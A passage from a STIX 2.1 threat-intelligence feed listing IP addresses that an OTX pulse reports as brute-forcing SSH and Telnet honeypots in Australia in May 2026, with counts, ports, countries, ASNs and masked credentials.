      "id": "indicator--db8d5d09-25b9-4e10-8b57-90d20bbb437c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.198.239.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:15:11.000Z",
      "valid_until": "2026-06-20T04:15:08.000Z"
    },
    {
      "created": "2026-05-19T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--e7b5e999-73bd-4b62-8358-5bd6ccc3ca80",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '120.28.212.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:15:11.000Z",
      "valid_until": "2026-06-20T04:15:08.000Z"
    },
    {
      "created": "2026-05-19T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IL. ASN(s): 202422. Organisation(s): G-Core Labs S.A..",
      "id": "indicator--5bda17f7-b940-489b-a8d9-272c1ce72c5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '146.185.219.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:15:11.000Z",
      "valid_until": "2026-06-20T04:15:08.000Z"
    },
    {
      "created": "2026-05-19T04:15:11.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): G************1, U*******************************x. Passwords observed (masked): A**********, H**********************3.",
      "id": "indicator--ac122913-d09d-4bd8-8f27-ad7e437cb08d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.89.130.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:15:11.000Z",
      "valid_until": "2026-06-20T04:15:08.000Z"
    },
    {
      "created": "2026-05-19T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--4d332c75-5281-4381-b368-d241b8fbaa05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.34.205.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:15:11.000Z",
      "valid_until": "2026-06-20T04:15:08.000Z"
    },
    {
      "created": "2026-05-19T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--da09a45e-1c89-4cda-87f2-9bbbe985dd8d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.35.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:15:11.000Z",
      "valid_until": "2026-06-20T04:15:08.000Z"
    },
    {
      "created": "2026-05-19T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 23033. Organisation(s): Wowrack.com.",
      "id": "indicator--bd898e95-7c5a-4055-b090-8f0643ece676",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '209.90.232.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:15:11.000Z",
      "valid_until": "2026-06-20T04:15:08.000Z"
    },
    {
      "created": "2026-05-19T04:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--de6ba3a7-28d6-40fe-9159-22a4248eefd1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '218.71.10.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:15:11.000Z",
      "valid_until": "2026-06-20T04:15:08.000Z"
    },
    {
      "created": "2026-05-19T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--e2e2ebd0-2d52-4c11-9aaf-502a7decd65e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.231.116.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:15:11.000Z",
      "valid_until": "2026-06-20T04:15:08.000Z"
    },
    {
      "created": "2026-05-19T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TZ. ASN(s): 327771. Organisation(s): MILAN-CABLE.",
      "id": "indicator--11df1070-77d2-4486-9308-7364802fda6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.74.122.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:15:11.000Z",
      "valid_until": "2026-06-20T04:15:08.000Z"
    },
    {
      "created": "2026-05-19T04:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 3215. Organisation(s): Orange.",
      "id": "indicator--8dd6f15e-12f5-49b7-a165-dcc5221c837d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T04:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.151.78.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T04:15:11.000Z",
      "valid_until": "2026-06-20T04:15:08.000Z"
    },
    {
      "created": "2026-05-19T05:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--69742af0-92a2-4f64-bbe2-6bb99b2a7332",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T05:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '114.138.96.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T05:15:38.000Z",
      "valid_until": "2026-06-20T05:15:08.000Z"
    },
    {
      "created": "2026-05-19T05:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--79e71d2c-1694-4d0f-9f0e-53e0a4be8ab3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T05:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.251.194.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T05:15:38.000Z",
      "valid_until": "2026-06-20T05:15:08.000Z"
    },
    {
      "created": "2026-05-19T05:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4808. Organisation(s): China Unicom Beijing Province Network.",
      "id": "indicator--5e3e5db0-c96c-4c7e-ab06-8ceee73cfb2e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T05:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.50.177.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T05:15:38.000Z",
      "valid_until": "2026-06-20T05:15:08.000Z"
    },
    {
      "created": "2026-05-19T05:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--925e47fe-a417-4f5c-8f63-63c72a416b8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T05:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '123.171.7.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T05:15:38.000Z",
      "valid_until": "2026-06-20T05:15:08.000Z"
    },
    {
      "created": "2026-05-19T05:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--d30512c9-a502-41f8-aa79-209cb768cba3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T05:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.52.46.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T05:15:38.000Z",
      "valid_until": "2026-06-20T05:15:08.000Z"
    },
    {
      "created": "2026-05-19T05:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--32c8f9e2-91c6-470a-8b90-c97604d631cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T05:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.245.98.239']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T05:15:38.000Z",
      "valid_until": "2026-06-20T05:15:08.000Z"
    },
    {
      "created": "2026-05-19T05:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--28953f48-5cdb-4d02-8f4c-47ca89c83d92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T05:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '180.190.200.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T05:15:38.000Z",
      "valid_until": "2026-06-20T05:15:08.000Z"
    },
    {
      "created": "2026-05-19T05:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c3a800f2-1f12-48e8-a98f-de566784dd89",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T05:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '182.46.110.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T05:15:38.000Z",
      "valid_until": "2026-06-20T05:15:08.000Z"
    },
    {
      "created": "2026-05-19T05:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--df68ae7b-3ff5-4500-b90d-64af304a7f21",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T05:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.26.226.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T05:15:38.000Z",
      "valid_until": "2026-06-20T05:15:08.000Z"
    },
    {
      "created": "2026-05-19T05:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--a7f83e39-cf10-45a8-b9be-122a53f26c0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T05:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.3.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T05:15:38.000Z",
      "valid_until": "2026-06-20T05:15:08.000Z"
    },
    {
      "created": "2026-05-19T05:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--f3ad86f3-8ee0-42a5-a32b-4f9600d93866",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T05:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.231.95.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T05:15:38.000Z",
      "valid_until": "2026-06-20T05:15:08.000Z"
    },
    {
      "created": "2026-05-19T05:15:38.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--0cc65b5d-10c5-4dae-b3a7-b328a05a1a35",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T05:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.141.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T05:15:38.000Z",
      "valid_until": "2026-06-20T05:15:08.000Z"
    },
    {
      "created": "2026-05-19T05:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 209896. Organisation(s): Contrust Solutions S.R.L..",
      "id": "indicator--69061a7f-fd0a-400f-a1c9-e15286119969",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T05:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.91.118.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T05:15:38.000Z",
      "valid_until": "2026-06-20T05:15:08.000Z"
    },
    {
      "created": "2026-05-19T06:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 38264. Organisation(s): National WiMAXIMS environment.",
      "id": "indicator--a0228a0f-6f7b-404c-987a-5d3889a6c4a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '110.39.242.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T06:15:12.000Z",
      "valid_until": "2026-06-20T06:15:08.000Z"
    },
    {
      "created": "2026-05-19T06:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--fbc213a2-988b-45ba-848d-49ac7102823b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.173.0.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T06:15:12.000Z",
      "valid_until": "2026-06-20T06:15:08.000Z"
    },
    {
      "created": "2026-05-19T06:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--ca22862b-c330-4693-8449-b23fdfb1f35e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '218.21.0.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T06:15:12.000Z",
      "valid_until": "2026-06-20T06:15:08.000Z"
    },
    {
      "created": "2026-05-19T06:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--a7cd3627-259f-462c-82a5-166e86731e06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.231.72.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T06:15:12.000Z",
      "valid_until": "2026-06-20T06:15:08.000Z"
    },
    {
      "created": "2026-05-19T06:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--465d9e64-7cd7-4f95-b9b0-bd1401909e6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '42.180.116.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T06:15:12.000Z",
      "valid_until": "2026-06-20T06:15:08.000Z"
    },
    {
      "created": "2026-05-19T06:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--656567a5-df35-4732-8e6c-b8eefa1be162",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T06:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.47.104.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T06:15:12.000Z",
      "valid_until": "2026-06-20T06:15:08.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: KH. ASN(s): 135333. Organisation(s): AKCTV Pte. Ltd..",
      "id": "indicator--879ee3f9-b0a4-4f1b-a2ee-82f4fcb2aa7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.214.150.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 196. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, c****e. Passwords observed (masked): !*******6, 1*****e, 1******h, 1*******t, 2**4.",
      "id": "indicator--f40b36c6-9f2c-4dc9-bbdd-4c1fd229a705",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.218.166.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--91de55ab-3c0a-424a-a5cd-40e4e13d06d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.123.81.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e4577398-1700-4f1f-9578-8ce67e13f986",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.178.163.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--cb10dece-d038-40b4-9073-966aad74d8df",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.179.62.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--26bebf31-72f0-4137-a34f-a90480f0fb63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.102.169.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--3913d42f-0b8b-4abd-b38e-67ea31def454",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-19T07:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.103.60.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T07:15:11.000Z",
      "valid_until": "2026-06-20T07:15:09.000Z"
    },
    {
      "created": "2026-05-19T07:15:11.000Z",
